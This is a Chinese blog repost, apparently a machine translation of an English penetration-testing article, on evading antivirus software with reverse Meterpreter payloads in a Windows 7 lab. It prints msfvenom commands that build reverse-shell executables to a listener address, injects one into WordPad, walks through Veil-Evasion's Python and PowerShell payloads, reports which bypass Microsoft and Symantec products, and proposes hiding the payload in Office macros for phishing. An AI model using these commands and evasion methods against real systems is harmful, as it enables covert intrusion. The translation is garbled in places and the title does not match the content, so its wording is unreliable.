乐于分享
好东西不私藏

使用Office文档发起社工攻击

使用Office文档发起社工攻击

反病毒供应商与渗透测试人员

虽然Metasploit是进行渗透测试的一个很好的框架,但它的受欢迎程度并没有被反病毒(a / v)供应商忽视。标准的Metasploit有效负载可执行文件在2009年开始被a / v产品标记,现在被市场上的大多数a / v产品接收。如果你无法通过客户的a / v软件获得有效载荷,那么在你开始之前,你可能会发现自己死在了水中。

问题在于,专业的恶意软件编写者,有组织犯罪和民族国家行为者可以轻松地通过a / v软件,成功绕过这些解决方案多年。作为渗透测试人员,我们发现自己正在被标记,因为我们正在使用a / v供应商所熟知的流行工具。在这篇文章中,我们将探讨a / v evasion的主题。

了解你的敌人:反病毒软件如何运作?

虽然具体的检测机制因供应商而异,并且通常保持接近胸部,但是在高级别上,/ v软件使用了两种主要方法:

基于签名的检测  是较旧且最常用的检测方法。A / v软件维护一个包含已知恶意模式的大型数据库,并将查找与正在分析的软件的任何匹配。这种方法相对较快,不会给硬件带来太大压力。此外,a / v供应商可以通过简单地添加基于对已识别的恶意软件的快速和脏分析的新模板,轻松地将新签名部署到数据库。但是,虽然供应商易于实施和维护,但由于依赖静态条目,它也相对容易绕过。

基于启发式的检测通常与基于签名的检测结合使用。a / v软件分析软件的行为以确定其是否执行恶意活动。这通常通过将程序沙箱化一段时间来分析其行为(例如以特定方式写入内存或立即打开通道并尝试建立外部连接)来实现可疑行为。此方法可以捕获与任何已知a / v签名不匹配的恶意程序; 然而,它是以性能为代价的,因此供应商在实施此启发式分析时通常必须在安全性和可用性之间进行折衷。

除了这两种方法之外,a / v软件还可以利用某种声誉逻辑,允许已知的“安全”程序(由已知开发人员签名,匹配已知散列等)绕过或进行不太广泛的检测程序(比如在较短的时间内沙箱。这是a / v供应商尝试减少对系统的影响并为客户提供更好的体验。

实验室设置

对于本文中的演示,我们将有两个Windows 7实验室机器,ENVY和GREED,加载了/ v软件。在GREED上,已使用最新定义更新了Microsoft Security Essentials(MSE)。在ENVY上,Symantec Endpoint Protection(SEP)12.1已安装并完全更新。我选择安装MSE因为它的受欢迎程度。微软目前拥有19.4%的反病毒市场份额,紧随业界领先者Avast的第二名。虽然赛门铁克只拥有7.1%的市场份额,但我之所以选择它,是因为我在几次交战中遇到了SEP,并花了很多时间试图绕过这个特定的软件。所以…与赛门铁克这是个人的!    在下图中,您可以看到a / v供应商市场份额的细分:来源:opswat.com,2015

注意:我想快速指出,在测试参与之前进行研究以确定在环境中部署的/ v产品是否值得付出代价。这使您可以花费您的时间和精力来绕过您在任务之前实际要面对的软件。不要犯错误,浪费宝贵的参与时间因为你没准备好!

使用MSFVenom生成有效负载

本文假设读者对MSFVenom有基本的了解。如果需要,请在此处查看Metasploit Unleashed帖子  

对于我们第一次绕过a / v的尝试,我们将使用MSFVenom生成一个标准的Metasploit可执行文件,它将生成一个反向的meterpreter shell:

msfvenom -p windows / meterpreter / reverse_https -e x86 / shikata_ga_nai LHOST = 10.0.0.100 LPORT = 443 -f exe -o standard.exe

让我们在GREED机器上部署这个可执行文件,看看是否由MSE获取……

抓住!正如您所看到的,MSE已将此可利用标记为恶意攻击。为什么是这样?虽然确定特定a / v软件标记为恶意的确切元素可能很困难,但在测试社区中众所周知,a / v供应商已为标准Metasploit可执行模板编写了签名。这些模板是插入编码器生成的shellcode以创建可执行文件的“容器”……这些模板是静态的这意味着,即使您的shellcode未被/ v软件检测为恶意,模板本身也很可能会被标记,无论如何。这是a / v供应商寻找标记恶意文件的快速方法的主要示例。

所以,既然我们已经看到内置的Metasploit模板是一个问题,那么让我们利用msfvenom将反向meterpreter shellcode注入到现有的可执行文件Wordpad中,并使用该常用的Windows程序作为我们的新模板:

msfvenom -p windows / meterpreter / reverse_https -e x86 / shikata_ga_nai LHOST = 10.0.0.100 LPORT = 443 -x wordpad.exe -k -f exe -o wordpad1.exe

在GREED上下载并运行该程序,您可以在下面看到Wordpad的功能仍然完整(由-k  开关提供),并且MSE未将可执行文件标记为恶意。我们收到了Meterpreter会话,并且能够成功地与它进行交互。得分了!

在ENVY机器上,SEP的情况并不那么简单。运行Wordpad会导致程序抛出错误,指出它无法打开新文档。

尽管存在错误,但SEP似乎并未将程序的网络活动记录为恶意:

我们的Meterpreter会议已经建立; 然而,它远非稳定并且在建立后不久就关闭(或者当用户关闭wordpad1错误消息时……以先到者为准)。虽然我无法确定,但我怀疑SEP已经沙盒化了我们的行为分析应用程序。这可能会限制我们计划的沟通能力。话虽这么说,如果你是一个键盘超快,它可能无法迁移到另一个进程,并获得稳定的连接,然后运行getsystem和  killav内Meterpreter就会命令。我认为我们可以同意这种情况远非理想,即使我们成功绕过了签名检测。让我们看看绕过a / v的其他方法……

注意:您可能会看到在Metasploit中使用多态编码器(特别是shikata_ga_nai)作为逃避检测的可行方法。虽然这些类型的编码器在过去确实存在绕过a / v的意外副作用,但现代检测软件通常不适用。编码器的主要目的是从shellcode中删除可能导致程序中出现不良结果的错误字符(x00x0A等)。

没有什么可看到这里:雷达与面纱 – 逃避 

Veil-Evasion是一套渗透测试工具的一部分,这些工具统称为面纱框架。该框架的主题是隐身,是Chris Truncer(@ChrisTruncer),Will Schroeder(@ harmj0y)和Mike Wright(@TheMightyShiv)的共同努力虽然Veil中的所有工具都很棒且应该进行探索,但Veil-Evasion是框架中的面包和黄油程序,并专注于生成/ v-evading可执行文件。在Kali 2.0中,您可以通过Kali存储库或通过git克隆安装Veil-Evasion:

apt-get install veil-evasiongit clone https://github.com/Veil-Framework/Veil-Evasion.git

Veil-Evasion的作者试图使渗透测试人员能够像专业恶意软件一样轻松绕过/ v软件(即使使用的方法不同)。厌倦了浪费时间试图规避a / v而不是为客户提供价值,Veil家伙希望将逃避方法发展成有组织的计划。

Veil-Evasion利用以下技术的混合来试图逃避检测:

  • 变量名称和方法的随机化

  • 加密源

  • 本机暂存(无shellcode)

  • 方法nops(通过伪方法随机化程序的调用树)

  • 混淆的装载机

让我们继续吧,开启Veil-Evasion ……

截至2015年9月,Veil-Evasion包含40多种有效载荷,可以选择多种语言:

让我们从Python Reverse HTTPS Meterpreter有效载荷开始,因为Python是Veil-Evasion第一个支持的语言。只需输入29  或使用python / meterpreter / rev_https正如您在下面看到的,我设置了有效负载选项以利用Pyherion,它将加密整个有效负载字符串,包括解密器存根本身(解密器存根通常是静态的,这是多态编码器如shikata_ga_nai之一的原因之一)在a / v逃避时更长时间有效)。

一旦我设置了选项,我就会生成简单的类型,然后Veil-Evasion继续编译我的可执行文件(我巧妙地将其命名为notepad)。除了创建我的.exe之外,你还会注意到下面还有一个有效负载文件(用于代码审查的原始python)和一个处理程序文件(.rc)也已生成并转储到/ var / lib / veil-evasion下/ output /

处理程序文件很方便,因为使用以下语法运行它将启动Metasploit并代表您设置所有适当的处理程序选项:

msfconsole -r /var/lib/veil-evasion/output/handlers/notepad_handler.rc

现在我们已经生成了可执行文件并且我们的处理程序已经准备好了,让我们看看它对MSE的影响:

成功!我们收到了反向shell,您可以看到我们当前的进程实际上与我们的记事本可执行文件绑定(通过在Meterpreter中运行getpid和  ps命令进行验证)。

让我们转到ENVY机器,看看notepad.exe如何经得起SEP的详细审查:

抓住!同样,虽然很难准确确定/ v软件触发的内容,但由于Veil中的Python有效负载已经出现一段时间,因此赛门铁克可能已更新其检测方法以针对此有效负载使用的方法。话虽如此,SEP在可执行文件运行之后才发出警报,因此可能是a / v的启发式引擎实际上抓住了我们。让我们配置PowerShell反向HTTPS Meterpreter有效负载,使用21  或使用powershell / meterpreter / rev_https

请注意,Veil-Evasion的PowerShell有效负载不是生成.exe文件,而是创建批处理(.bat)文件。批处理文件充当PowerShell命令和shellcode的排序包装。

让我们继续并在部署我们的处理程序后运行此脚本,并查看SEP票价如何:

巨大的成功!我们的PowerShell有效负载连接到我们的处理程序并打开了Meterpreter会话!但是,向用户显示批处理文件可能会引起怀疑。对我们来说,更好的(读取:隐身)选项可能是从批处理文件包装器中提取PowerShell脚本和shellcode,并将其作为网络钓鱼活动的一部分投入Java applet或Microsoft Office宏。这些技术将在以后的文章中进行更详细的探讨。在那之前,快乐回避!

没错 就是复制翻译的国外文章,都是谷歌翻译的,可能与原来意思有出入,你可以点击原文查看英文版!

本站文章均为手工撰写未经允许谢绝转载:夜雨聆风 » 使用Office文档发起社工攻击

评论 抢沙发

4 + 3 =
  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址
×
订阅图标按钮